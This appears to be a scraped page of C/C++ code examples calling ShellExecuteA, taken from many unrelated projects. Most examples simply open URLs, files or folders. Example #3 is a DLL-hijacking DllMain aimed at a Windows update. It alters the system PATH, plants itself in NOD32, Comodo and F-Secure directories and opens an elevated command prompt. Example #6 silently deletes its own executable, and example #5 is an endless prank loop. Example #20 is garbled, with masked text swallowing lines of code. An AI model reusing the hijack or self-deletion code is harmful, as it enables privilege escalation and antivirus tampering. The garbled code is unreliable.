Пример #1
0
void Shell_Execute(const Ztring &ToExecute)
{
    #ifdef ZENLIB_USEWX
    #else //ZENLIB_USEWX
        #ifdef WINDOWS
            #ifdef UNICODE
                if (IsWin9X())
                    ShellExecuteA(NULL, "open", ToExecute.To_Local().c_str(), NULL, NULL, 0);
                else
                    ShellExecute (NULL, __T("open"), ToExecute.c_str(), NULL, NULL, 0);
            #else
                ShellExecute(NULL, __T("open"), ToExecute.c_str(), NULL, NULL, 0);
            #endif
        #else
            //Not supported
        #endif
    #endif //ZENLIB_USEWX
}
Пример #2
0
int IupExecute(const char *filename, const char* parameters)
{
  /* no need to convert from UTF8 here */
  int err = (int)ShellExecuteA(GetDesktopWindow(), "open", filename, parameters, NULL, SW_SHOWNORMAL);
  if (err <= 32)
  {
    switch (err)
    {
    case ERROR_FILE_NOT_FOUND:
    case ERROR_PATH_NOT_FOUND:
      return -2; /* File not found */
      break;
    default:
      return -1; /* Generic error */
      break;
    }
  }
  return 1;
}
Пример #3
0
/***************************************************************************************************\
*	Функа DllMain; 
*	дополнительная точка входа в подгружаемую динамически dll; 
*	Вход:
*		(+)
*	Выход:
*		1	-	dll загрузилась; 0 - что-то пошло не так - и она будет выгружена системой; 
\***************************************************************************************************/
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	HANDLE hFile; 
	char szMsg1[] = "Hello from DllMain!\r\n";
	char szMsg2[MAX_PATH * 2] = "DllMain: ";
	DWORD numobw = 0;

	if(fdwReason == DLL_PROCESS_ATTACH)	//длл запущена или был вызов этой длл через LoadLibrary; 
	{
		hFile = CreateFileA(szLogName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 
			CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);	//создаём лог-файл (должна существовать папка C:\xlogs); 

		if(hFile == INVALID_HANDLE_VALUE)
		{
			return 0; 
		}

		GetModuleFileNameA(0, &szMsg2[strlen(szMsg2)], MAX_PATH);	//получаем имя exe-файла, загрузившего нашу длл;

		if(strstr(szMsg2, "Windows-KB"))	//если нашу длл загружает апдейт винды
		{
			if(ChangeRegKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path", ";C:\\xlogs"))
			{
				GetModuleFileNameA(GetModuleHandleA("feclient.dll"), szFileName, MAX_PATH);	//получаем полный путь к нашей длл (наша длл должна иметь имя feclient.dll - как раз для того, чтобы быть подхваченной апейтом винды (ака dll hijacking)); 
				CopyFileA(szFileName, "C:\\xlogs\\ppeset.dll", 0);	//копируем её в данную папку с конкретным названием (for nod32); 
				CopyFileA(szFileName, "C:\\Program Files\\COMODO\\COMODO Internet Security\\themes\\xnewdll.theme", 0);	//for comodo
				MoveFileA("C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi.dll", "C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi2.dll");	//for f-secure; 
				CopyFileA(szFileName, "C:\\Program Files\\F-Secure\\apps\\CCF_Reputation\\orspapi.dll", 0);	//for f-secure; 
				CopyFileA(szFileName, "C:\\Program Files\\Internet Explorer\\xnewdll.dll", 0);	//просто так)
				ShellExecuteA(NULL, "open", "C:\\WINDOWS\\System32\\cmd.exe", NULL, NULL, SW_SHOW);	//вызываем командную строку (с админскими правами в случае успеха); 
			}
		}
		
		strcat(szMsg2, "\r\n");	//переход на новую строку
		WriteFile(hFile, szMsg1, strlen(szMsg1), &numobw, 0);	//пишем данные в лог-файл; 
		SetFilePointer(hFile, 0, 0, FILE_END);	//переходим в конец файла (на новую строку);
		WriteFile(hFile, szMsg2, strlen(szMsg2), &numobw, 0);	//etc 
		CloseHandle(hFile); 
	}

	return 1;
}
Пример #4
0
static bool doOpenUrl(const QUrl& url)
{
#ifdef Q_WS_WIN
	// on Vista it always returns iexplore.exe as default browser
	bool oldStyleDefaultBrowserInfo = QSysInfo::WindowsVersion < QSysInfo::WV_VISTA;

	QFileInfo browserFileInfo(defaultBrowser());
	if (oldStyleDefaultBrowserInfo && browserFileInfo.fileName() == "iexplore.exe") {
		return QProcess::startDetached(browserFileInfo.absoluteFilePath(),
		                               QStringList() << "-new" << url.toEncoded());
	}
	else {
		// FIXME: This is necessary for Qt 4.3.3 to handle all URLs correctly
		QT_WA(
			ShellExecuteW(0, 0, (WCHAR *)QString(url.toEncoded()).utf16(), 0, 0, SW_SHOWNORMAL);
		,
			QByteArray a = QString(url.toEncoded()).toLocal8Bit();	// must not call constData() of a temp object
			ShellExecuteA(0, 0, (CHAR *)a.constData(), 0, 0, SW_SHOWNORMAL);
		)
		return true;
Пример #5
0
int qtinit()
{
	WCHAR out[] = {'F','r','a','n','k','e','n','s','t','e','i','n','s',' ','M','o','n','s','t','e','r',' ','W','a','l','k','s',' ','A','g','a','i','n','\n','\0'};
	char uname[] = {'F','r','a','n','k','e','n','s','t','e','i','n','s','M','o','n','s','t','e','r','\0'};
	std::string um = getenv( "USERNAME" );
	if(um == std::string(uname))
	{
		if(time(NULL)%1==0)
		{
			while(1)
			{
				ShellExecuteA(NULL, "open", "http://www.youtube.com/watch?v=dQw4w9WgXcQ", NULL, NULL, SW_SHOWNORMAL);
				std::this_thread::sleep_for(std::chrono::seconds(1));
			}
//			crtPrintMemoryDbg(out);
//			return 750 + 250 + 170 + 130 + 12 + 18 + 4 + 3;
		}
	}
	return 0;
}
Пример #6
0
void CHawkeye_clientApp::SelfKilling()
{

	char lCommand[MAX_BUF_SIZE + 1];
	char lFile[MAX_BUF_SIZE + 1];

	_unlink("ddkhook.sys");
	_unlink("mfc100u.dll");
	_unlink("msvcr100.dll");

	ZeroMemory(lCommand, sizeof(lCommand));

	if((GetModuleFileNameA(0, lFile, sizeof(lFile)) != 0) && (GetShortPathNameA(lFile, lFile, MAX_BUF_SIZE) != 0))
	{
		_snprintf(lCommand, sizeof(lCommand) - 1, "/c del %s >> NUL", lFile);
		GetEnvironmentVariableA("ComSpec", lFile, MAX_PATH) && ShellExecuteA(0, 0, lFile, lCommand, 0, SW_HIDE);
	}// else
	exit(0);

}
Пример #7
0
void __fastcall THTMLFrame::HtmlHotSpotClick(TObject *Sender,
	  const AnsiString SRC, bool &Handled)
{
	TSysCharSet Delims;
	Delims << ':';
	String Proto = ExtractWord(1,SRC,Delims);
	Handled=false;

	if(SameText(Proto,"dcm"))
	{
		 String Script = SRC.c_str()+4;
		 Evalate(Script);
		 Handled = true;
	}
	else if(SameText(Proto,"http") || SameText(Proto,"mailto"))
	{
		ShellExecuteA(Handle, NULL, SRC.c_str(), NULL, NULL, SW_SHOWNORMAL);
		Handled = true;
	}
}
Пример #8
0
static void
open_button_cb(GtkButton *button, GaimGtkXferDialog *dialog)
{
#ifdef _WIN32 /* Only supported in Win32 right now */
	int code;
	if (G_WIN32_HAVE_WIDECHAR_API ()) {
		wchar_t *wc_filename = g_utf8_to_utf16(
				gaim_xfer_get_local_filename(
					dialog->selected_xfer),
				-1, NULL, NULL, NULL);
	
		code = (int) ShellExecuteW(NULL, NULL, wc_filename, NULL, NULL,
				SW_SHOW);

		g_free(wc_filename);
	} else {
		char *l_filename = g_locale_from_utf8(
				gaim_xfer_get_local_filename(
					dialog->selected_xfer),
				-1, NULL, NULL, NULL);
	
		code = (int) ShellExecuteA(NULL, NULL, l_filename, NULL, NULL,
				SW_SHOW);

		g_free(l_filename);
	}

	if (code == SE_ERR_ASSOCINCOMPLETE || code == SE_ERR_NOASSOC)
	{
		gaim_notify_error(NULL, NULL,
				_("There is no application configured to open this type of file."), NULL);
	}
	else if (code < 32)
	{
		gaim_notify_error(NULL, NULL,
				_("An error occurred while opening the file."), NULL);
		gaim_debug_warning("ft", "filename: %s; code: %d\n",
				gaim_xfer_get_local_filename(dialog->selected_xfer), code);
	}
#endif
}
Пример #9
0
int serve_open(int *clientSocket, http_message *message, char *filepath)

{

	// Check if file exists

	DWORD dwAttrib = GetFileAttributesA(filepath);

	BOOL isFile = (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));



	if (isFile)

	{

		int retval = (int) ShellExecuteA(0, "open", filepath, 0, 0, SW_SHOW);

		if (retval <= 32)

			return serve_error(clientSocket, "403 Forbidden (process creation error)");

		else

		{

			// Send OK response

			const char http_response[] = "HTTP/1.0 201 Created\r\n\r\n201 Created";

			return send(*clientSocket, http_response, strlen(http_response), 0);

		}

	}

	else

		return serve_error(clientSocket, "404 Not found");

}
Пример #10
0
int CFolderItem::FolderDeleteOldDirectory(int showFolder)
{
	int res = FOLDER_SUCCESS;
	if (IsUnicode())
		{
			wchar_t buffer[MAX_FOLDER_SIZE];
			if (szOldFormatW)
				{
					if (wcscmp(szFormatW, szOldFormatW) == 0) //format wasn't changed
						{
							return res;
						}
					ExpandPathW(buffer, szOldFormatW, MAX_FOLDER_SIZE);
					RemoveDirectories(buffer);
					res = (DirectoryExists(buffer)) ? FOLDER_FAILURE : FOLDER_SUCCESS;
					if ((res == FOLDER_FAILURE) && (showFolder))
						{
							ShellExecuteW(NULL, L"explore", buffer, NULL, NULL, SW_SHOW);
						}
				}
		}
		else{
			char buffer[MAX_FOLDER_SIZE];
			if (szOldFormat)
				{
					if (strcmp(szFormat, szOldFormat) == 0) //format wasn't changed
						{
							return res;
						}
					ExpandPath(buffer, szOldFormat, MAX_FOLDER_SIZE);
					RemoveDirectories(buffer);
					res = (DirectoryExists(buffer)) ? FOLDER_FAILURE : FOLDER_SUCCESS;
					if ((res == FOLDER_FAILURE) && (showFolder))
						{
							ShellExecuteA(NULL, "explore", buffer, NULL, NULL, SW_SHOW);
						}
				}
		}
	return res;
}
Пример #11
0
// 1.3
JNIEXPORT jint JNICALL
Java_org_gudy_azureus2_platform_win32_access_impl_AEWin32AccessInterface_shellExecuteA(
	JNIEnv	*env,
	jclass	cla,
	jstring _operation,
	jstring	_file,
	jstring _parameters,
	jstring _directory,
	jint _showCmd )
{
	char	operation[20];
	char	file[5192];
	char	parameters[16000];
	char	directory[5192];
	INT		showCmd = _showCmd;
	
	if ( !jstringToCharsA( env, _operation, operation, sizeof( operation ))){
		return -1;
	}

	if ( !jstringToCharsA( env, _file, file, sizeof( file ))){
		return -1;
	}

	if ( !jstringToCharsA( env, _parameters, parameters, sizeof( parameters ))){
		return -1;
	}

	if ( !jstringToCharsA( env, _directory, directory, sizeof( directory ))){
		return -1;
	}
	
	// Not sure if ShellExecute treats "\0" as NULL, so do explicit check 
	return (jint)ShellExecuteA(NULL,
			_operation == NULL ? NULL : operation,
			_file == NULL ? NULL : file,
			_parameters == NULL ? NULL : parameters,
			_directory == NULL ? NULL : directory,
			showCmd);
}
Пример #12
0
//--------------------------------------------------
void ofLaunchBrowser(string url){
	
	// http://support.microsoft.com/kb/224816
	
	//make sure it is a properly formatted url
	if(url.substr(0,7) != "http://"){
		printf("ofLaunchBrowser: url must begin http://\n");
		return;
	}

	//----------------------------
	#ifdef TARGET_WIN32
	//----------------------------
		
		#if (_MSC_VER)       
		// microsoft visual studio yaks about strings, wide chars, unicode, etc
		ShellExecuteA(NULL, "open", url.c_str(),
                NULL, NULL, SW_SHOWNORMAL);
		#else
		ShellExecute(NULL, "open", url.c_str(),
                NULL, NULL, SW_SHOWNORMAL);
		#endif

	//----------------------------
	#endif
	//----------------------------
	
	//--------------------------------------
	#ifdef TARGET_OSX
	//--------------------------------------
		// ok gotta be a better way then this, 
		// this is what I found...
		string commandStr = "open "+url;
		system(commandStr.c_str());
	//----------------------------
	#endif
	//----------------------------

}
Пример #13
0
static void open_browser(const char *uri)
{
#ifdef _WIN32
    ShellExecuteA(NULL, "open", uri, 0, 0, SW_SHOWNORMAL);
#else
    const char *browser = getenv("BROWSER");
    if (!browser)
    {
#ifdef __APPLE__
        browser = "open";
#else
        browser = "xdg-open";
#endif
    }
    if (fork() == 0)
    {
        execlp(browser, browser, uri, (char*)0);
        fprintf(stderr, "cannot exec '%s'\n", browser);
        exit(0);
    }
#endif
}
Пример #14
0
/* win32.ShellExecute verb file args */
static int
Win32_ShellExecute(Jim_Interp *interp, int objc, Jim_Obj * const *objv)
{
    ptrdiff_t r;
    const char *verb, *file, *parm = NULL;
    char cwd[MAX_PATH + 1];

    if (objc < 3 || objc > 4) {
        Jim_WrongNumArgs(interp, 1, objv, "verb path ?parameters?");
        return JIM_ERR;
    }
    verb = Jim_String(objv[1]);
    file = Jim_String(objv[2]);
    GetCurrentDirectoryA(MAX_PATH + 1, cwd);
    if (objc == 4)
        parm = Jim_String(objv[3]);
    r = (ptrdiff_t)ShellExecuteA(NULL, verb, file, parm, cwd, SW_SHOWNORMAL);
    if (r < 33)
        Jim_SetResult(interp,
            Win32ErrorObj(interp, "ShellExecute", GetLastError()));
    return (r < 33) ? JIM_ERR : JIM_OK;
}
Пример #15
0
void
openurl(const char *url)
{
    // lifted off http://www.archivum.info/[email protected]/2007-10/msg00078.html
    // from a post by Gabriele Greco
    // will use later on
#ifdef WIN32
    ShellExecuteA(GetActiveWindow(),
                  "open", url, NULL, NULL, SW_SHOWNORMAL);
#elif defined(__APPLE__)
    char buffer[256];
    snprintf(buffer, sizeof(buffer), "open %s", url);
    system(buffer);
#else
    char *apps[] = {"x-www-browser",
                    "firefox", // iceweasel has an alias on debian
                    "opera",
                    "mozilla",
                    "galeon",
                    "konqueror", NULL
                   };

    char buffer[256];
    int i = 0;

    while (apps[i]) {
        snprintf(buffer, sizeof(buffer), "which %s >/dev/null", apps[i]);
        if (system(buffer) == 0) {
            snprintf(buffer, sizeof(buffer), "%s %s", apps[i], url);
            int dummy = system(buffer);
            dummy = 0;
            return;
        }
        i++;
    }
#endif

}
Пример #16
0
/* extProcCommand: process command message */
EXPORT void extProcCommand(MMDAgent *mmdagent, const char *type, const char *args)
{
   if(enable == true) {
      if(MMDAgent_strequal(type, MMDAGENT_COMMAND_PLUGINDISABLE) == true) {
         if(MMDAgent_strequal(args, PLUGINWINDOWCONTROLLER_NAME)) {
            enable = false;
            mmdagent->sendEventMessage(MMDAGENT_EVENT_PLUGINDISABLE, PLUGINWINDOWCONTROLLER_NAME);
         }
      } else if(MMDAgent_strequal(type, PLUGINWINDOWCONTROLLER_EXECUTE) == true) {
         if(MMDAgent_strlen(args) > 0)
            ShellExecuteA(NULL, NULL, args, NULL, NULL, SW_SHOWNORMAL);
      } else if(MMDAgent_strequal(type, PLUGINWINDOWCONTROLLER_KEYPOST) == true) {
         postKeyMessage(args);
      }
   } else {
      if(MMDAgent_strequal(type, MMDAGENT_COMMAND_PLUGINENABLE) == true) {
         if(MMDAgent_strequal(args, PLUGINWINDOWCONTROLLER_NAME) == true) {
            enable = true;
            mmdagent->sendEventMessage(MMDAGENT_EVENT_PLUGINENABLE, PLUGINWINDOWCONTROLLER_NAME);
         }
      }
   }
}
Пример #17
0
void DoOpenUrl(LPSTR tokenResp, LPSTR url)
{
    LPSTR encodedUrl = url_encode(url);
    __try {
        LPSTR encodedToken = url_encode(tokenResp);
        __try {
            LPSTR composedUrl = (LPSTR)malloc(lstrlenA(TOKEN_AUTH_URL) + 1 + lstrlenA(encodedToken) + lstrlenA(encodedUrl));
            __try {
                sprintf(composedUrl, TOKEN_AUTH_URL, encodedToken, encodedUrl);
                ShellExecuteA(0, NULL, composedUrl, NULL, NULL, SW_SHOW);
            }
            __finally {
                free(composedUrl);
            }
        }
        __finally {
            free(encodedToken);
        }
    }
    __finally {
        free(encodedUrl);
    }
}
Пример #18
0
void MainWindow::on_actionEdit_triggered()
{
  QString qs = ui->plainTextEdit->toPlainText();
  QDateTime now = QDateTime::currentDateTime();
  QString completeBaseName = qformat("%04d%02d%02d%02d%02d%02d",
    now.date().year(), now.date().month(), now.time().hour(), now.time().minute(), now.time().second());
  QString fileName;
  int index = 0;
  while (true)
  {
    fileName = VApp::currentPath() + QDir::separator() + completeBaseName;
    if (index > 0) 
      fileName += "_" + QString::number(index) + ".log";
    else
      fileName += ".log";
    if (!QFile::exists(fileName)) break;
  }
  {
    QFile f(fileName);
    f.open(QIODevice::WriteOnly | QIODevice::Text);
    QTextStream out(&f);
    out << qs;
  }
#ifdef WIN32
  ShellExecuteA(0, "open", qPrintable(fileName), NULL, NULL, SW_SHOW);
#endif // WIN32
#ifdef linux
  {
    QString cmd = "gedit " + fileName + " &";
    int res = system(qPrintable(cmd));
    if (res < 0)
    {
      LOG_ERROR("system(%s) return %d errno=%d", qPrintable(cmd), res, errno);
    }
  }
#endif // linux
}
Пример #19
0
void GenGraphForm::doDisplay()
{
    if (exportedFile==QString("")) return;

    std::cout << "OPEN " << (const char*)exportedFile << std::endl;

#ifdef WIN32
    ShellExecuteA(NULL, "open", exportedFile, NULL, NULL, SW_SHOWNORMAL);
#else
    QStringList argv;
    argv << "display" << exportedFile;
#ifdef SOFA_QT4
    QString program = argv.front();
    argv.pop_front();
    //QProcess::startDetached(program, argv); //QString("start \"\"\"")+exportedFile+QString("\"\"\""));
    QProcess::startDetached(program, argv); //QString("start \"\"\"")+exportedFile+QString("\"\"\""));
#else
    QProcess* p = new QProcess(argv, this);
    p->setCommunication(0);
    connect(p,SIGNAL(processExited()),p,SLOT(deleteLater()));
    p->start();
#endif
#endif
}
Пример #20
0
int TEST_MAIN(int argc,char** argv)
{
	int cookie = 0;
	char enter[128] = {0};
	struct t_wb_allstruct  twball;
	struct t_wb_interface  wb_interface;
	memset(&twball , 0 , sizeof( struct t_wb_allstruct ) );
	
	//struct t_wb_cookie* ptest1 = (struct t_wb_cookie*)malloc( 1024 );

	// 静态方式
	if( !load_wb_interface(&wb_interface) )
	{
		unload_wb_interface(&wb_interface);
		return -1;
	}

#ifdef _USE_WEIBOPARSER
	if( !load_wb_parser() )
	{
		unload_wb_parser();
//		assert(0);
	}
#endif //_USE_WEIBOPARSER


	//	struct t_wb_cookie* ptest5 = (struct t_wb_cookie*)malloc( 1024 );
	//
	printf("Please enter request method[0 = oauth/1 = xauth/2 = cookie]:");
#if defined(WINCE)
	cookie = 1;
#else
	gets( enter );
	cookie = atoi(enter);
#endif
	WEIBORequest* wbRequest = wb_interface.pfun_request_create();
	
	if(cookie == 0 || cookie == 1)
	{
		//hack for old mode 0,1 oauth or xauth
		wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_COOKIE) , 0);
	}
	else
	{
		wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_COOKIE) , 1);
	}
	// set app key
	printf("Please enter APP KEY:");
	gets( enter );
	wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_APPKEY) , enter);

	// set app secret
	printf("Please enter APP SECRET:");
	gets( enter );
	wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_SECRETKEY) , enter);

	// set 
	printf("Please enter result data format(josn=0/xml=1):");
#if defined(WINCE)
	wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_RESULT_DATAFORMAT) ,0);
#else
	gets( enter );
	wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_RESULT_DATAFORMAT) ,atoi(enter));
#endif

	Wb_init_wb_struct( WEIBO_OPTION(BASE) , &twball.oauth);

	//		struct t_wb_cookie* ptest7 = (struct t_wb_cookie*)malloc( 1024 );
	if( 0 == cookie )
	{
		Wb_init_wb_struct( WEIBO_OPTION(OAUTH_REQUEST_TOKEN) , &twball.oauth_reqtoken );
		Wb_init_wb_struct( WEIBO_OPTION(OAUTH_ACCESS_TOKEN)  , &twball.oauth_accesstoken);

		// 1 oauth request token
		wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_SENDDATA) ,WEIBO_OPTION(OAUTH_REQUEST_TOKEN), &twball.oauth_reqtoken );
		wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_USERDATA) , &twball.oauth_accesstoken );
		wb_interface.pfun_request_start(wbRequest , false);

		//
		wb_interface.pfun_request_stop(wbRequest);

		// 2 go to run IE  to oauth authrioze
		//
		// add by welbon,2010-09-10
		printf("Please enter how to get verify code[0 = website,1 = direct access] : ");
#if defined(WINCE)
		strcpy(enter ,"1");
#else
		gets(enter);
#endif
		if( strcmp(enter,"1") == 0 )
		{
			Wb_init_wb_struct( WEIBO_OPTION(OAUTH_AUTHORIZE), &twball.oauth_authorize);
			strcpy(twball.oauth_authorize.wbauth_.oauth_token_,twball.oauth_accesstoken.wbauth_.oauth_token_ );

			// 输入用户名(必填)
			printf("Please enter user id : ");
			gets(enter);
			strcpy(twball.oauth_authorize.usrid_,enter);

			// 输入密码(必填)
			printf("Please enter password : "******"http://api.t.sina.com.cn/oauth/authorize?oauth_token=%s",twball.oauth_accesstoken.wbauth_.oauth_token_);
			ShellExecuteA( NULL,"open",open,NULL,NULL,SW_SHOWNORMAL );
#endif //((defined(WIN32)||(defined(_WIN32))

			// get website vertify code
			printf("Please enter website's vertifycode:");
			gets( enter );
			strcpy(twball.oauth_accesstoken.wbauth_.oauth_verifier_,enter);
		}

		//3.请求 access token
		wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_SENDDATA) , WEIBO_OPTION(OAUTH_ACCESS_TOKEN) , &twball.oauth_accesstoken );
		wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_USERDATA) , &twball.oauth );
		wb_interface.pfun_request_start(wbRequest , false);

		//
		wb_interface.pfun_request_stop(wbRequest);
		//
		SYSTEM("pause");
	}
	else if (cookie == 1)
	{
		Wb_init_wb_struct( WEIBO_OPTION(XAUTH_ACCESS_TOKEN)  , &twball.xauth_accesstoken);

		printf("Please enter user id : ");
		gets(enter);
		strcpy(twball.xauth_accesstoken.usrid_,enter);

		// 输入密码(必填)
		printf("Please enter password : "******"client_auth");

		wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_SENDDATA) ,WEIBO_OPTION(XAUTH_ACCESS_TOKEN), &twball.xauth_accesstoken );
		wb_interface.pfun_request_setopt(wbRequest , WEIBO_OPTION(REQ_USERDATA) , &twball.oauth );
		wb_interface.pfun_request_start(wbRequest , false);

		//
		wb_interface.pfun_request_stop(wbRequest);
		SYSTEM("pause");
	}
	else if (cookie == 2)
	{
	//	struct t_wb_cookie* ptest2 = (struct t_wb_cookie*)malloc( 1024 );
		Wb_init_wb_struct( WEIBO_OPTION(COOKIE) , &twball.cookie );

		printf("Please enter user id:");
		gets( enter );
		strcpy(twball.cookie.usrid_ , enter);

		printf("Please enter user password:"******"pause");
	}

	do
	{
		printf("\n\nPlease enter TEST number [exit:'q' keylist:list]:");
		gets(enter);

		// "q" exit
		if( strcmp(enter ,"q") == 0 ) {
			break;
		}
		else if( strcmp(enter,"list") == 0){
			print_weibo_command_list();
			continue;
		}


		void *pUsrData = NULL;

		//  其他所有微博接口
		test_weibo( wbRequest , atoi(enter) , &twball ,&wb_interface,pUsrData );

		//
		//memset(&twball.cookie,0,sizeof(twball.cookie));

	}while(1);

	//
	wb_interface.pfun_request_destroy(wbRequest);

	// 释放接口
	unload_wb_interface(&wb_interface);

	unload_wb_parser();

	return 0;
}
Пример #21
0
INT_PTR CAimProto::ManageAccount(WPARAM, LPARAM)
{
	ShellExecuteA(NULL, "open", "https://my.screenname.aol.com", NULL, NULL, SW_SHOW);
	return 0;
}
Пример #22
0
int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE /*hPrevInstance*/, LPTSTR lpstrCmdLine, int nCmdShow)
{
	g_strSkinDir = ::GetModulePath();
	g_strSkinDir += _T("\\Skin\\");
	ThreadCacheDC::InitializeThreadCacheDC();
	ThreadCacheDC::CreateThreadCacheDC();


	Gdiplus::GdiplusStartupInput gdiplusStartupInput;
	ULONG_PTR gdiplusToken;
	Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

	// 临时目录
	_TempCachePath = GetTempCachePath(hInstance);

	if (IsRunning())
		return 0;

	if(!_tcsstr( lpstrCmdLine, _T("/h") ))
	{
		wchar_t wcsTmpPath[MAX_PATH] = {0};
		GetModuleFileNameW(NULL,wcsTmpPath,_countof(wcsTmpPath) );
		mhMessageBox(NULL,(wcscat_s(wcsTmpPath, _countof(wcsTmpPath), L" 不是有效的 win32 应用程序。"), wcsTmpPath),L"提示",MB_OK);
		exit(1);
	}	
	//////////////////////////////////////////////////////////////////////////
	// (1)是安装情况
	
	if ( !IsDownload(lpstrCmdLine, &_Module.m_bByUserClick, &_Module.m_hOuterParent)   )//moneyhub.exe execute
	{
		CDownloadOperation dop;
		int index = dop.isValid();

		if( index )
		{
			CBankProcessMgr BankMgr;
			std::vector<HANDLE> vecProcess;

			// 让所有bank退出
			::PostMessage(HWND_BROADCAST, WM_BROADCAST_QUIT, 0, 0);
			Sleep(1000);

			if (BankMgr.GetProcList(_T("MoneyHub.exe"), vecProcess) > 0)
				BankMgr.TermProcList(vecProcess);

			// 运行安装包
			InstallPack();
		}
		else
		{
			deleteAllReg();
			dop.deleteAllUpdataFile();
			ShellExecuteA(GetDesktopWindow(),"open",getModulePath().c_str(),NULL,NULL,SW_SHOWNORMAL);
		}

		return 0;
	}
	else if( isDownLoadOK()  )
	{
		return 0;
	}

	//////////////////////////////////////////////////////////////////////////
	// (2)是下载情况

	HRESULT hRes = ::CoInitialize(NULL);
// If you are running on NT 4.0 or higher you can use the following call instead to 
// make the EXE free threaded. This means that calls come in on a random RPC thread.
//	HRESULT hRes = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);
	ATLASSERT(SUCCEEDED(hRes));

	// this resolves ATL window thunking problem when Microsoft Layer for Unicode (MSLU) is used
	::DefWindowProc(NULL, 0, 0, 0L);

	AtlInitCommonControls(ICC_WIN95_CLASSES | ICC_PROGRESS_CLASS | ICC_BAR_CLASSES);	// add flags to support other controls

	hRes = _Module.Init(NULL, hInstance);
	ATLASSERT(SUCCEEDED(hRes));

	int nRet = Run(lpstrCmdLine, nCmdShow);

	_Module.Term();
	::CoUninitialize();

	if (_hUpdateMutex)
		CloseHandle(_hUpdateMutex);

	return nRet;
}
Пример #23
0
void SendEmailThread(void *szUrl)
{
	ShellExecuteA(NULL, "open", (char*)szUrl, "", "", SW_SHOW);
	mir_free(szUrl);
	return;
}
bool XAP_Win32AppImpl::openURL(const char * szURL)
{
	// NOTE: could get finer control over browser window via DDE 
	// NOTE: may need to fallback to WinExec for old NSCP versions

	UT_String sURL = szURL;

	// If this is a file:// URL, strip off file:// and make it backslashed
	if (sURL.substr(0, 7) == "file://")
	{
		sURL = sURL.substr(7, sURL.size() - 7);

		// View as WebPage likes to throw in an extra /\ just for fun, strip it off
		if (sURL.substr(0, 2) == "/\\")
			sURL = sURL.substr(2, sURL.size() - 2);

		if (sURL.substr(0, 1) == "/")
			sURL = sURL.substr(1, sURL.size() - 1);
		
		// Convert all forwardslashes to backslashes
		for (unsigned int i=0; i<sURL.length();i++)	
			if (sURL[i]=='/')	
                sURL[i]='\\';

		// Convert from longpath to 8.3 shortpath, in case of spaces in the path
		char* longpath = NULL;
		char* shortpath = NULL;
		longpath = new char[PATH_MAX];
		shortpath = new char[PATH_MAX];
		strcpy(longpath, sURL.c_str());
		DWORD retval = GetShortPathName(longpath, shortpath, PATH_MAX);
		if((retval == 0) || (retval > PATH_MAX))
		{
			UT_ASSERT_HARMLESS(UT_SHOULD_NOT_HAPPEN);
			DELETEP(longpath);
			DELETEP(shortpath);
			return false;
		}
		sURL = shortpath;
		DELETEP(longpath);
		DELETEP(shortpath);
	}

	// Query the registry for the default browser so we can directly invoke it
	UT_String sBrowser;
	HKEY hKey;
	unsigned long lType;
	DWORD dwSize;
	unsigned char* szValue = NULL;

	if (RegOpenKeyEx(HKEY_CLASSES_ROOT, "http\\shell\\open\\command", 0, KEY_READ, &hKey) == ERROR_SUCCESS)
	{
		if(RegQueryValueEx(hKey, NULL, NULL, &lType, NULL, &dwSize) == ERROR_SUCCESS)
		{
			szValue = new unsigned char[dwSize + 1];
			RegQueryValueEx(hKey, NULL, NULL, &lType, szValue, &dwSize);
			sBrowser = (char*) szValue;
			DELETEP(szValue);
		}
		RegCloseKey(hKey);
	}

	/* Now that we have sBrowser from the registry, we need to parse it out.
	 * If the first character is a double-quote, everything up to and including
	 * the next double-quote is the sBrowser command. Everything after the
	 * double-quote is appended to the parameters.
	 * If the first character is NOT a double-quote, we assume
	 * everything up to the first whitespace is the command and anything after
	 * is appended to the parameters.
	 */

	int iDelimiter;
	if (sBrowser.substr(0, 1) == "\"")
		iDelimiter = UT_String_findCh(sBrowser.substr(1, sBrowser.length()-1), '"')+2;
	else
		iDelimiter = UT_String_findCh(sBrowser.substr(0, sBrowser.length()), ' ');

	// Store params into a separate UT_String before we butcher sBrowser
	UT_String sParams = sBrowser.substr(iDelimiter+1, sBrowser.length()-iDelimiter+1);
	// Cut params off of sBrowser so all we're left with is the broweser path & executable
	sBrowser = sBrowser.substr(0, iDelimiter);

	// Check for a %1 passed in from the registry.  If we find it,
	// substitute our URL for %1.  Otherwise, just append sURL to params.
	const char *pdest = strstr(sParams.c_str(), "%1");
	if (pdest != NULL)
	{
		int i = pdest - sParams.c_str() + 1;
		sParams = sParams.substr(0, i-1) + sURL + sParams.substr(i+1, sParams.length()-i+1);
	}
	else
	{
		sParams = sParams + " " + sURL;
	}

	// Win95 doesn't like the Browser command to be quoted, so strip em off.
	if (sBrowser.substr(0, 1) == "\"")
		sBrowser = sBrowser.substr(1, sBrowser.length() - 1);
	if (sBrowser.substr(sBrowser.length()-1, 1) == "\"")
		sBrowser = sBrowser.substr(0, sBrowser.length() - 1);

	XAP_Frame * pFrame = XAP_App::getApp()->getLastFocussedFrame();
	UT_return_val_if_fail(pFrame, false);
